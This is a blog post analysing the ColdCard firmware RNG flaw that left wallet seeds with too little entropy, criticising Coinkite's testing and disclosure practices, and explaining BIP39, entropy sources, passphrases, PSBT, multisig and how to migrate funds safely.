<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#ifndef MICROPY_HW_ENABLE_RNG
</span></span></span><span class="line"><span class="cl"><span class="cp">#error &#34;get a HW TRNG plz&#34;
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>#ifndef</code> asks whether the symbol exists, not whether its value is nonzero. The symbol existed. The build passed. In the final resolution, <code>rng_get()</code> pointed to MicroPython&rsquo;s software fallback, a deterministic PRNG called Yasmarang, initialized with the microcontroller UID and timing registers. A UID identifies a chip. A clock measures time. Neither is a cryptographic source of randomness.</p>
<p>Worse, the correct TRNG implementation was inside the binary. Previous reviews looked at it and concluded everything was fine, but nobody verified the complete path between &ldquo;create new wallet&rdquo; and the symbol actually called in the executable. There was no integration test that failed when the seed came from the wrong generator.</p>
<p>On the Mk3, Coinkite&rsquo;s preliminary estimate is around <strong>40 bits of effective entropy</strong>, instead of the minimum 128 bits expected. On the Mk4, Q, and Mk5, values from the secure elements entered as a second layer, and the company estimates approximately <strong>72 bits</strong>. Block&rsquo;s analysis is harsher: only 32 bits of material from the secure elements reached the PRNG state during that reseed. The threat models and estimates are not identical. None comes close to the target.</p>
<p>Passing bad output through SHA-256 does not create entropy. If only <code>2^40</code> inputs exist, at most <code>2^40</code> possible hashes exist. They look nice and uniform and remain enumerable.</p>
<p>This sat on the most important path in the product for more than five years.</p>
<h2>How a 120-file rewrite got us here<span class="hx:absolute hx:-mt-20" id="how-a-120-file-rewrite-got-us-here"></span>
    <a href="#how-a-120-file-rewrite-got-us-here" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://x.com/zherbert/status/2082993276324319713"target="_blank" rel="noopener">Zach Herbert published a timeline</a> worth summarizing. He is a Foundation cofounder, Passport manufacturer, and Coinkite competitor, so read the interpretation with that context. The dates and commits, however, can be verified.</p>
<p>In July 2020, Foundation announced that its first Passport would build on ColdCard&rsquo;s GPLv3 firmware. Two days later, NVK publicly complained about the &ldquo;clone&rdquo; and said he would change the license. In November, ColdCard added MIT plus the Commons Clause, which left the code visible but restricted derivative commercial products. In January 2021, the change formally appeared in firmware 3.2.1.</p>
<p>On March 1 came the <code>First pass w/ libNgU</code> commit: 120 files changed, removal of GPL-covered libraries derived from Trezor, replacement of the cryptographic stack, and a change to seed generation. On March 17, version 4.0.0 announced the removal of the last GPL code.</p>
<p>There is no way to prove how much of the haste or scope came from the license dispute. The timeline itself acknowledges other legitimate goals: adopting <code>libsecp256k1</code>, accelerating AES/SHA, and enabling reproducible builds. The concrete fact is simpler: the bug entered in that same massive commit, and the product went five years without an end-to-end test of its most critical path.</p>
<p>That is engineering incompetence. A hardware wallet can have a secure element, sealed packaging, an air gap, and a website full of explanations about sovereignty. If the function that creates the key calls the wrong RNG and nobody tests it for five years, everything else is theater.</p>
<h2>This was a white swan, not a black swan<span class="hx:absolute hx:-mt-20" id="this-was-a-white-swan-not-a-black-swan"></span>
    <a href="#this-was-a-white-swan-not-a-black-swan" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I have already seen people call this a &ldquo;black swan,&rdquo; as though a cosmic alignment of unforeseeable events had struck Coinkite. It was not.</p>
<p>The vulnerable code had been visible in the repository since March 2021. The commit was enormous, but not secret. The deterministic fallback was in a public submodule. The macro defined as zero was in the board configuration. The incorrect <code>#ifndef</code> was in the integration. What was missing was following the seed-generation call all the way to the symbol resolved in the binary and writing a test that proved where its entropy came from.</p>
<p>A black swan is rare, surprising, and only looks obvious afterward. This was a <strong>white swan</strong>: a known risk in the most sensitive category of the product, with an observable cause and a predictable consequence. Nobody knew the exact day someone would connect the dots and sweep the wallets. The bomb, however, had been assembled and ticking in public for five years.</p>
<p>And Coinkite helped reduce the number of people willing to defuse it.</p>
<p>In 2021, Marko Bencun from Shift/BitBox and Hugo Nguyen from Nunchuk <a href="https://blog.bitbox.swiss/en/remote-multisig-theft-attack-on-the-coldcard-hardware-wallet/"target="_blank" rel="noopener">responsibly disclosed a critical multisig flaw</a>. Coinkite fixed the code, but its release notes did not say it was a vulnerability or communicate any urgency. Bencun&rsquo;s bounty request was ignored. The company published a more explicit warning only after the researcher released the details.</p>
<p>The <a href="https://coinkite.com/responsible-disclosure"target="_blank" rel="noopener">current responsible disclosure policy</a> still leaves reward amount, eligibility, and timing to the company&rsquo;s discretion. Researchers working for competitors or well-funded labs are not eligible for a bounty. The page even throws in &ldquo;we are not here to make it easy for you,&rdquo; as if antagonizing people who audit your vault demonstrated personality.</p>
<p>Zach Herbert also <a href="https://www.zherbert.com/an-open-letter-to-nvk-and-coldcard/"target="_blank" rel="noopener">documented NVK&rsquo;s public attacks</a> on Foundation after it used ColdCard&rsquo;s GPL code: &ldquo;pure clone,&rdquo; &ldquo;leeches,&rdquo; and &ldquo;affinity scamming.&rdquo; Herbert is a competitor with an interest in the dispute, but the posts and screenshots exist. My opinion of NVK as a CEO is now terrible. He cultivated hostility toward the manufacturers and researchers who had the knowledge and technical incentive to review his product.</p>
<p>I do not need to claim that every researcher abandoned Coinkite. Just look at the incentives. A competent white hat can spend weeks dismantling firmware. If a company minimizes findings, ignores bounties, treats competitors as enemies, and reserves the right to decide when something deserves credit, that researcher works on another product. Open code permits auditing; it does not force anyone to audit for free for a company that treats them badly.</p>
<p>So this was not one-in-a-billion bad luck. It was a self-fulfilling prophecy. Extreme negligence accumulated risk until someone exploited it. When the bomb went off, it did not erase a number in a Coinkite spreadsheet. It took real bitcoin that, for some victims, represented years of savings or their life&rsquo;s savings.</p>
<h2>No, &ldquo;AI broke Bitcoin&rdquo; my ass<span class="hx:absolute hx:-mt-20" id="no-ai-broke-bitcoin-my-ass"></span>
    <a href="#no-ai-broke-bitcoin-my-ass" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Coinkite wrote that, because the firmware was public, &ldquo;we have to assume&rdquo; someone used AI to review old versions and found the bug. It provided no evidence. In the next paragraph, it admits that weeks earlier it had used one of the best available models to review the same code, and the model found nothing serious.</p>
<p>NVK later published <a href="https://x.com/nvk/status/2083216713693151552"target="_blank" rel="noopener">an apology on Coinkite&rsquo;s behalf</a>. He took responsibility for the bug, told every ColdCard owner to move their funds, acknowledged that new firmware cannot repair an old seed, and said the company would have to earn back its users&rsquo; trust. That is the bare minimum, but it matters that he said it.</p>
<p>The problem is that he ended by trying to turn the disaster into &ldquo;a sober reality of the new AI paradigm,&rdquo; arguing that AI-assisted review can now find old bugs faster than seasoned experts. No. This has fuck all to do with AI. The bug was basic, visible in the code for five years, and sat in the most important function of a hardware wallet. NVK was lucky it took this long.</p>
<p>Do not shift the blame to AI-assisted code review to justify piss-poor code. AI may have helped someone locate or exploit the flaw. AI did not write that <code>#ifndef</code>, disable the TRNG, approve the 120-file rewrite, or spend five years without an end-to-end test of seed generation. Coinkite did all of that.</p>
<p>After disclosure, researchers reproduced the flaw with the help of frontier models. Great. That shows AI can accelerate auditing and exploitation after someone points to where they should dig. It does not mean an AI broke ECDSA, <code>secp256k1</code>, SHA-256, BIP39, or Bitcoin.</p>
<p>The attacker enumerated a keyspace that a manufacturer had reduced from at least 128 bits to something around 40. This is brute force against predictable numbers. The Bitcoin protocol did exactly what it should: it accepted valid signatures produced by the correct private keys.</p>
<p>AI did not break Bitcoin. Coinkite left a basic regression untested at the heart of its firmware for five years. Blaming the tool that may have helped someone read the code is a convenient way to change the subject.</p>
<h2>What a wallet actually stores<span class="hx:absolute hx:-mt-20" id="what-a-wallet-actually-stores"></span>
    <a href="#what-a-wallet-actually-stores" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bitcoin does not sit &ldquo;inside&rdquo; a ColdCard, Ledger, or Sparrow file. The blockchain contains UTXOs locked by scripts. Your wallet stores the material needed to find those UTXOs and produce signatures that satisfy the scripts.</p>
<p>At the most basic level, a private key is an integer chosen within the domain of the <code>secp256k1</code> curve. The public key is a point calculated from it. That path is easy to compute forward and infeasible to reverse with known computing power. Addresses are representations derived from public keys and scripts, not vaults where coins live.</p>
<p>I explained this foundation more carefully in <a href="/2019/11/21/akitando-67-entendendo-conceitos-basicos-de-criptografia-parte-1-2/">[Akitando #67] Understanding Basic Cryptography Concepts - Part 1</a> and <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">[Akitando #68] Understanding Basic Cryptography Concepts - Part 2</a>.</p>
<p>A modern wallet does not draw an independent key for each address. It starts with a root and uses <a href="https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki"target="_blank" rel="noopener">BIP32</a> to derive a deterministic tree of keys: accounts, receiving addresses, change, and so on. A backup of the root recovers the entire tree.</p>
<p><a href="https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki"target="_blank" rel="noopener">BIP39</a> is the layer that turns binary entropy into readable words and then converts the mnemonic plus a passphrase into a 512-bit binary seed used by BIP32. The words are a human-readable way to carry computer-generated randomness. The specification explicitly warns that it is not a method for inventing a nice phrase in your own head.</p>
<h2>Twelve or 24 words is the wrong question<span class="hx:absolute hx:-mt-20" id="twelve-or-24-words-is-the-wrong-question"></span>
    <a href="#twelve-or-24-words-is-the-wrong-question" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A 12-word mnemonic encodes 128 bits of entropy plus a 4-bit checksum. A 24-word mnemonic encodes 256 bits plus an 8-bit checksum. Under normal conditions, 128 bits is already beyond brute-force reach.</p>
<p>But &ldquo;24 words&rdquo; does not guarantee that 256 real bits existed at the input. Vulnerable firmware could produce a perfectly valid sequence of 24 words, correct checksum and all, from an effective space of approximately 40 bits. The attacker does not need to try every possible word combination. They reproduce plausible states of the broken RNG and compare the derived addresses.</p>
<p>That is why the 12-versus-24 argument misses the point. Representation length cannot rescue a predictable source. A UUID printed in gold lettering remains predictable if someone called <code>rand()</code> with a timestamp.</p>
<h2>RNG, TRNG, and independent sources<span class="hx:absolute hx:-mt-20" id="rng-trng-and-independent-sources"></span>
    <a href="#rng-trng-and-independent-sources" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>RNG is the generic term for a random number generator. A PRNG takes an initial state, the seed, and expands it into a deterministic sequence. A properly designed CSPRNG remains safe as long as the initial state contains enough entropy and the algorithm does not leak that state.</p>
<p>A TRNG tries to harvest randomness from physical phenomena: electronic noise, oscillator jitter, and similar sources. <a href="https://support.ledger.com/article/4415198323089-zd"target="_blank" rel="noopener">Ledger explains its process</a> as a TRNG inside the Secure Element generating 256 bits, which BIP39 translates into 24 words. The company says an external lab tests that generator and certifies it under AIS-31. That is much better than a timer plus serial number, but it remains one source and one implementation you have chosen to trust.</p>
<p>Other projects prefer to combine sources. <a href="https://trezor.io/guides/trezor-devices/trezor-fundamentals/what-is-entropy-and-how-does-trezor-generate-your-wallet"target="_blank" rel="noopener">Trezor uses entropy from the device and host</a>. <a href="https://bitbox.swiss/bitbox02/security-features/"target="_blank" rel="noopener">BitBox02 documents five sources</a>: the secure chip TRNG, the microcontroller TRNG, a unique value installed at the factory, entropy supplied by the host, and a hash of the device password.</p>
<p>The word that matters here is <strong>independence</strong>. Two PRNGs initialized from the same clock are not two sources. Two values that come from the same secure element do not buy the independence the diagram implies either. Independent sources, combined through a correct cryptographic construction, keep the result strong even when some of them fail.</p>
<p>And &ldquo;combined correctly&rdquo; carries half the security in that sentence. XOR, hashes, and extractors have specific properties. Do not invent your own mixer in half an hour and put your net worth on top of it. Use a reviewed implementation with test vectors, and verify that the binary you execute actually calls that code. I think the reason is now obvious.</p>
<h2>Rolling dice is not that simple<span class="hx:absolute hx:-mt-20" id="rolling-dice-is-not-that-simple"></span>
    <a href="#rolling-dice-is-not-that-simple" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Each roll of an ideal D6 provides <code>log2(6)</code>, about 2.585 bits. That is where the figures of <strong>50 rolls</strong> for 128 bits and <strong>99 rolls</strong> for approximately 256 bits come from. <a href="https://coldcard.com/docs/verifying-dice-roll-math/"target="_blank" rel="noopener">ColdCard&rsquo;s documentation shows the calculation and the SHA-256 applied to the sequence</a>. <a href="https://github.com/SeedSigner/seedsigner"target="_blank" rel="noopener">SeedSigner</a> uses the same thresholds: 50 for 12 words or 99 for 24.</p>
<p>That calculation assumes a fair die and independent rolls. A cheap promotional plastic die may have bubbles, poorly cut faces, and a shifted center of mass. Your hand may repeat a motion, the tray may favor one position, and many people &ldquo;roll again&rdquo; when the die lands near an edge. Every human decision made after seeing the result introduces bias.</p>
<p>If I were generating a seed manually today, I would use <strong>precision casino-grade dice</strong> from more than one manufacturer or batch. <a href="https://blog.bitbox.swiss/en/roll-the-dice-generate-your-own-seed/"target="_blank" rel="noopener">BitBox itself recommends five casino-grade dice</a> for its manual procedure. I would define the reading order ahead of time, use a tray that lets the dice bounce, and accept every valid roll according to a rule written before I started. No rerolling because it &ldquo;didn&rsquo;t mix properly.&rdquo;</p>
<p>Even then, I would not trust the dice alone. I would mix independent sources: more than one set of dice, coin flips, entropy from an offline host, and a hardware TRNG when the device supports it. Making hundreds of rolls is cheap. The care lies in feeding everything to an audited mechanism that performs the cryptographic combination. Adding numbers, picking the &ldquo;most random&rdquo; words, or concatenating pieces of mnemonics yourself is a recipe for losing funds.</p>
<p>Check what your device actually implements. In Ledger&rsquo;s documented new-wallet setup, the Secure Element TRNG generates the entropy. In restore mode, <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">the words must reconstruct exactly the same keys</a>. The TRNG cannot add secret entropy on top of the imported mnemonic because that would create another wallet and destroy the purpose of a backup. Restoring a seed made with dice therefore transfers custody and signing to the device, but it does not improve the original randomness.</p>
<p>With a commercial hardware wallet, I would choose one of two paths: generate a new root through the official flow of an updated device that documents how it combines independent sources, or generate BIP39 outside it through an auditable and fully offline process, then enter the words only through the signer&rsquo;s screen and buttons. A seed created in MetaMask, a website, or a connected laptop and later restored into a Ledger remains a hot seed. Ledger summarizes this well: <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">move, don&rsquo;t merge</a>.</p>
<p>BTC D00M Guy has <a href="https://btcdoomguy.substack.com/p/como-gerar-sua-seed-e-fazer-o-backup"target="_blank" rel="noopener">a visual Portuguese-language tutorial on BIP39, dice, and recovery testing</a>. It is a good introduction to seeing the process, but I would not literally copy the old-phone-in-airplane-mode step for serious wealth. Airplane mode does not prove the device was clean, does not physically remove its radios, and formatting flash afterward gives me no verifiable erasure guarantee. It is fine for learning and rehearsal. To create the seed for my life savings, I prefer hardware with no radio, a verified ephemeral system, or a dedicated signer.</p>
<blockquote>
  <p>The rolls become a secret the moment you decide to use them. Do not photograph them, dictate them out loud, keep them in a phone note, or type them into a website. <a href="https://github.com/SeedSigner/seedsigner/blob/dev/docs/dice_verification.md"target="_blank" rel="noopener">SeedSigner&rsquo;s documentation</a> recommends that any verification of a real seed happen on an ephemeral system such as Tails, fully offline and discarded after the test.</p>
<p>More entropy does not fix a bad process either. One hundred rolls recorded by a cloud-connected camera are worth zero against someone who has the video.</p>

</blockquote>
<h2>Passphrase: another wallet, not another password<span class="hx:absolute hx:-mt-20" id="passphrase-another-wallet-not-another-password"></span>
    <a href="#passphrase-another-wallet-not-another-password" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>In BIP39, the mnemonic is the main input to PBKDF2-HMAC-SHA512. The salt is the string <code>mnemonic</code> concatenated with the passphrase, and the function runs 2,048 iterations. Every passphrase produces a valid wallet. One wrong character does not display &ldquo;incorrect password&rdquo;; it opens another, usually empty wallet.</p>
<p>A long, random, unique, and independent passphrase can protect an exposed or weak mnemonic. In the ColdCard case, it adds a secret that did not come from the defective RNG: the attacker must combine every mnemonic candidate with a passphrase attempt. If that passphrase has enough entropy and never leaked, the attack may become infeasible again.</p>
<p>But a quote, human pattern, or reused password becomes an offline dictionary attack with no rate limit. BIP39&rsquo;s 2,048 iterations do not turn a weak passphrase into a strong one. And losing it is just as final as losing the words. A hardware wallet PIN does not replace a passphrase. The PIN protects the physical device; the passphrase participates in key derivation.</p>
<p>Store the passphrase separately from the mnemonic and test a complete recovery before depositing a meaningful amount. Record the expected fingerprint and at least one address as well. During recovery, they tell you whether you opened the correct wallet.</p>
<blockquote>
  <p>In the ColdCard case, do not add a passphrase to the vulnerable seed now and call that a migration. Create a new root. The passphrase may be part of the new architecture, but the bitcoin must leave scripts derived from the old root.</p>

</blockquote>
<h2>Sparrow, air gaps, and PSBT<span class="hx:absolute hx:-mt-20" id="sparrow-air-gaps-and-psbt"></span>
    <a href="#sparrow-air-gaps-and-psbt" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://sparrowwallet.com/"target="_blank" rel="noopener">Sparrow</a> is the coordinator I use. It knows descriptors, xpubs, addresses, UTXOs, and history. It can construct a transaction, but in a watch-only configuration it has no private key with which to sign.</p>
<p>This is where <a href="https://github.com/bitcoin/bips/blob/master/bip-0174.mediawiki"target="_blank" rel="noopener">PSBT, standardized in BIP174</a>, comes in. Sparrow creates a Partially Signed Bitcoin Transaction with the inputs, outputs, amounts, and derivation data required. The file or QR code goes to the offline signer. The signer reviews it, adds its signature, and returns the PSBT. In multisig, the same package moves through the remaining signers until it reaches quorum. Sparrow combines, finalizes, and broadcasts it.</p>
<p>The air-gapped single-sig flow looks like this:</p>
<ol>
<li>Sparrow creates the transaction on the online computer.</li>
<li>You export the PSBT through QR code or microSD.</li>
<li>ColdCard, SeedSigner, or another device displays the destination, amount, and fee.</li>
<li>You verify them on the signer&rsquo;s screen and sign.</li>
<li>Sparrow imports the signed PSBT, finalizes it, and broadcasts it.</li>
</ol>
<p>An air gap reduces the attack surface. It is not a force field. QR codes and microSD still carry data, malicious firmware remains malicious firmware, and a compromised coordinator can try to replace the destination or change address. The signer&rsquo;s screen exists so you can compare the address, amount, and fee before pressing Confirm.</p>
<blockquote>
  <p>And an air gap cannot improve entropy retroactively. A vulnerable ColdCard could spend its entire life without a USB cable. The key was already born weak.</p>

</blockquote>
<h2>2-of-3 multisig: safer and much more bureaucratic<span class="hx:absolute hx:-mt-20" id="2-of-3-multisig-safer-and-much-more-bureaucratic"></span>
    <a href="#2-of-3-multisig-safer-and-much-more-bureaucratic" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Single-sig concentrates everything in one seed, one backup, and one implementation. Among options available today, <strong>2-of-3 multisig</strong> with genuinely independent signers is the closest thing I know to maximum security against that single point of failure.</p>
<p>You create three independent seeds on signers from different manufacturers and codebases. Sparrow creates a policy requiring two signatures. One device may break or one seed may leak without immediately surrendering the funds. Two signers remain enough for recovery.</p>
<p>&ldquo;Independent&rdquo; is once again the word doing the work. Three hardware wallets fed by three child seeds from the same BIP85 root still depend on one root. Three seeds generated by the same vulnerable ColdCard repeat the risk. Use separate processes and entropy sources. I might combine, for example, a commercial signer from another manufacturer, a SeedSigner using dice, and a third device with a different architecture.</p>
<p>In Sparrow, the conceptual procedure is:</p>
<ol>
<li>Create and back up each seed separately.</li>
<li>Export the fingerprint, derivation path, and xpub from each signer.</li>
<li>Create a <code>Multi Signature</code> wallet, normally Native SegWit, with a 2-of-3 policy.</li>
<li>Import all three keystores and back up the wallet&rsquo;s output descriptor.</li>
<li>Record which signers correspond to which fingerprints.</li>
<li>Verify one receiving address on more than one signer.</li>
<li>Make a small deposit, restore and test the signers, and perform a complete trial withdrawal.</li>
</ol>
<p>The descriptor cannot spend by itself, but it reveals every address and the full history. It is a necessary backup for reconstructing the policy and also sensitive privacy data. Keep copies in locations separate from the seeds.</p>
<p>When spending, Sparrow creates the PSBT; signer A signs; signer B signs; Sparrow combines and broadcasts. Every person or device must review the outputs. Multisig run by an operator who confirms everything automatically merely distributes the same mistake across three screens.</p>
<p>None of this is a mystery to me. I still find it bureaucratic as hell: three seeds, three backups, an output descriptor, separate locations, two devices for every spend, firmware updates, and a recovery plan that another family member must be able to execute when you are no longer around.</p>
<p>Every layer reduces one technical risk and creates another opportunity for the operator to make a mistake. Usability is part of security too. If the architecture becomes so annoying that you stop testing backups, stop updating signers, or cannot document inheritance, the perfect multisig diagram is not worth much.</p>
<blockquote>
  <p>I completely understand anyone who prefers to stay with single-sig and a strong, independent, well-stored passphrase. It is much easier to operate. Just make that choice knowing you accept more risk: you still depend on one root and one signing path. If that point fails, the entire wallet falls with it. A passphrase adds a barrier; it does not add a second independent signature.</p>

</blockquote>
<p><a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">Sparrow&rsquo;s best practices guide</a> recommends 2-of-3 using hardware wallets from different vendors and backups stored in separate locations.</p>
<blockquote>
  <p>If one key in your 2-of-3 came from an affected ColdCard, the attacker potentially already controls that key and can produce a signature. They still cannot spend alone, but your effective threshold has fallen: now they only need to compromise one more signer. Create a new multisig wallet with a new cosigner and move the funds. You cannot &ldquo;replace one key&rdquo; while keeping the same addresses; the policy changed, so the scripts change too.</p>

</blockquote>
<h2>Fulcrum fixes privacy, not a weak key<span class="hx:absolute hx:-mt-20" id="fulcrum-fixes-privacy-not-a-weak-key"></span>
    <a href="#fulcrum-fixes-privacy-not-a-weak-key" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Sparrow needs to query the blockchain. On a public Electrum server, it requests the history of script hashes derived from your addresses. The server can correlate queries, timing, and IP address to group balances and history, even without receiving the raw xpub. To avoid that, I connect Sparrow to my own Bitcoin Core node through Fulcrum.</p>
<p>I showed the architecture and installation in <a href="/en/2026/04/01/bitcoin-on-the-home-server-sovereignty-with-coldcard-sparrow-fulcrum/">Bitcoin on the Home Server: Sovereignty and Privacy with Coldcard, Sparrow and Fulcrum</a>. That article remains useful, with one obvious correction: do not use a seed generated by affected ColdCard firmware.</p>
<p>Your node validates the blockchain. Fulcrum indexes it and responds quickly to Sparrow. That improves sovereignty and query privacy. Neither can stop an attacker from signing with a private key they reproduced from bad entropy.</p>
<h2>How I would migrate today<span class="hx:absolute hx:-mt-20" id="how-i-would-migrate-today"></span>
    <a href="#how-i-would-migrate-today" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Do not turn one emergency into a second accident. I would follow this order:</p>
<ol>
<li><strong>Take inventory.</strong> List the model, firmware that generated the seed, accounts, passphrases, derivation paths, and every multisig in which that key participates. Do not post balances or addresses on social media.</li>
<li><strong>Treat the seed as compromised.</strong> Do not enter it into online software or accept any third-party &ldquo;checker.&rdquo; Keep signing on the device only for as long as it takes to leave.</li>
<li><strong>Choose the new architecture.</strong> I would not generate the new seed on a ColdCard. Use another new signer bought directly from the manufacturer, a SeedSigner, or 2-of-3 with different implementations. Do not import the old words into it. If you insist on reusing your ColdCard, first install the corrected firmware for the proper model and release track.</li>
<li><strong>Generate new entropy.</strong> Use independent sources and an audited mixer. For dice, use casino-grade material, multiple sources, and at least 99 rolls for a 24-word mnemonic. I would do more.</li>
<li><strong>Back up before receiving.</strong> Mnemonic, separate passphrase, fingerprints, and the descriptor for multisig. Never photograph any of them or store them in the cloud.</li>
<li><strong>Test recovery.</strong> Recreate the wallet and verify fingerprints and addresses. In multisig, prove that two keys can sign without depending on the third.</li>
<li><strong>Verify the address on the screen.</strong> Do not trust only what Sparrow displays on the computer monitor.</li>
<li><strong>Send a small amount.</strong> Confirm that the new wallet can receive and spend. Coinkite also recommends this test.</li>
<li><strong>Move the rest immediately afterward.</strong> Review the fee and every output. Look for balances in other accounts, passphrases, and change addresses derived from the old seed.</li>
<li><strong>Keep the old backup marked as compromised.</strong> Retain it until you are certain the migration confirmed and no delayed deposit will arrive. Never reuse an old address.</li>
</ol>
<blockquote>
  <p>If the attacker is racing you, do not spend a week designing the perfect multisig. Create a safe, verified destination, perform the minimum test, and move the funds beyond the old key&rsquo;s reach. You can reorganize UTXOs and improve the architecture later, with time to think.</p>

</blockquote>
<h2>So which hardware wallet do I recommend?<span class="hx:absolute hx:-mt-20" id="so-which-hardware-wallet-do-i-recommend"></span>
    <a href="#so-which-hardware-wallet-do-i-recommend" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Today, none.</p>
<p>After explaining entropy generation, BIP39, passphrases, PSBT, air gaps, descriptors, and multisig, it should be clear that fully offline, hand-built self-custody is <strong>very hard</strong>. I do not expect a normal person to master the mathematical implications, audit every algorithm, and execute every step without error. Most programmers could not do it either. I will not pretend I can review the entire chain alone, from silicon to the firmware running on the device.</p>
<p>That is exactly why hardware wallets exist. They package complicated cryptography and procedures into an interface a person can operate. This transfers part of the responsibility to the manufacturer; it does not make trust disappear.</p>
<p>Leaving your life savings in an exchange account remains the worst default. You do not have the keys and depend on the company&rsquo;s solvency, withdrawal policy, legal system, and account security. But a handmade setup you do not understand can also end in total loss. There is no point eliminating counterparty risk only to replace it with a ceremony nobody can restore after a fire or your own death.</p>
<p>For years, the hardware wallet was treated as the last safe haven between those extremes. Coinkite shook trust in the entire category. That does not mean Ledger, Trezor, BitBox, Passport, Jade, SeedSigner, and everyone else are broken or equivalent. It means a strong name, secure element, air gap, visible code, and years on the market are not enough. I can no longer point to one device and say, &ldquo;buy this and sleep well.&rdquo; You will have to do your homework.</p>
<blockquote>
  <p><strong>NEVER buy a second-hand hardware wallet. Buy it new, directly from the manufacturer&rsquo;s official store.</strong> Do not save on shipping by placing your life savings in a device that passed through a stranger&rsquo;s hands. Marketplace listings, auctions, eBay, &ldquo;open box,&rdquo; refurbished hardware, and that unbelievable deal from a friend are all out of the question.</p>

</blockquote>
<p>When the package arrives, do not tear everything open and start pressing buttons. Open the official documentation for that model and follow its supply-chain verification. <a href="https://coldcard.com/docs/quick/"target="_blank" rel="noopener">ColdCard uses serialized packaging that shows evidence of opening</a>: the number appears on the bag, an internal tab, and the device itself. <a href="https://trezor.io/support/troubleshooting/device-issues/is-my-device-safe-to-use"target="_blank" rel="noopener">Trezor documents the holographic seals</a> for each model. <a href="https://support.bitbox.swiss/en_US/orders-shipping/verifying-the-bitbox02-packaging"target="_blank" rel="noopener">BitBox combines sealed packaging with cryptographic attestation</a> performed by its app.</p>
<p>Check the seal, cuts, glue, serial number, box contents, and the authenticity mechanism shown by the device or official software. Any mismatch ends the setup: do not connect a seed, do not &ldquo;see whether it works,&rdquo; and contact the manufacturer. The device must arrive without an initialized wallet and generate new words in front of you. A seed printed inside the box is a scam.</p>
<p>And watch the terminology: all of this is <strong>tamper-evident</strong>, not tamper-proof. ColdCard&rsquo;s own documentation admits a bag can be attacked; BitBox says perfect packaging does not guarantee authenticity. An intact seal is one layer. I still want attestation or a genuine check, signed firmware, hash verification where available, and a complete test with a small amount of money.</p>
<p>I would start with these questions:</p>
<ol>
<li><strong>What is the published threat model?</strong> The manufacturer must say what it protects against and, more importantly, what remains out of scope: an infected computer, stolen device, physical laboratory attack, supply chain, targeted firmware, coercion. &ldquo;Military-grade security&rdquo; is not a threat model.</li>
<li><strong>Where does the entropy come from, exactly?</strong> Find the sources, how they are combined, and which end-to-end tests prove the <code>New Wallet</code> flow reaches the promised RNG. Support for dice or external entropy helps only when the mixing mechanism is documented and audited. The ColdCard case showed that having the correct TRNG inside the binary does not mean seed generation uses it.</li>
<li><strong>Is the code actually free, and does the binary correspond to it?</strong> &ldquo;Source available&rdquo; under a restrictive license is not FOSS. Open code permits audits, but does not prove anyone performed one. A <a href="https://reproducible-builds.org/docs/definition/"target="_blank" rel="noopener">reproducible build</a> lets third parties rebuild the firmware and compare it bit for bit. Look for current independent verifications on <a href="https://walletscrutiny.com/"target="_blank" rel="noopener">WalletScrutiny</a>, not just the manufacturer&rsquo;s promise.</li>
<li><strong>How does the company treat people who find flaws?</strong> Read the disclosure policy, scope, and bounty amounts. Look for old advisories, CVEs, postmortems, and conversations with researchers. A company that publishes a vulnerability, explains its cause, fixes it quickly, and thanks the researcher deserves more trust than one with a supposedly &ldquo;perfect&rdquo; history. Sometimes nobody found a vulnerability because nobody competent had an incentive to look.</li>
<li><strong>What can you verify on the trusted screen?</strong> Before signing, the device should display the address, amount, fee, and change. It should verify receiving addresses on its own display, allow PIN and passphrase entry without handing them to the computer, and correctly register the multisig policy. A secure element protects a key; it cannot rescue an interface that makes you sign without understanding the outputs.</li>
<li><strong>Is there an exit route without the manufacturer?</strong> I want interoperable standards: BIP39/BIP32 where applicable, <a href="https://bips.dev/174/"target="_blank" rel="noopener">PSBT</a>, and <a href="https://bips.dev/380/"target="_blank" rel="noopener">output descriptors</a>. I want to export xpubs, fingerprints, and descriptors, use Sparrow, connect my node, and recover through another implementation. Mandatory accounts, proprietary clouds, and backups that open only in the company&rsquo;s app are lock-in built on top of the key to your life.</li>
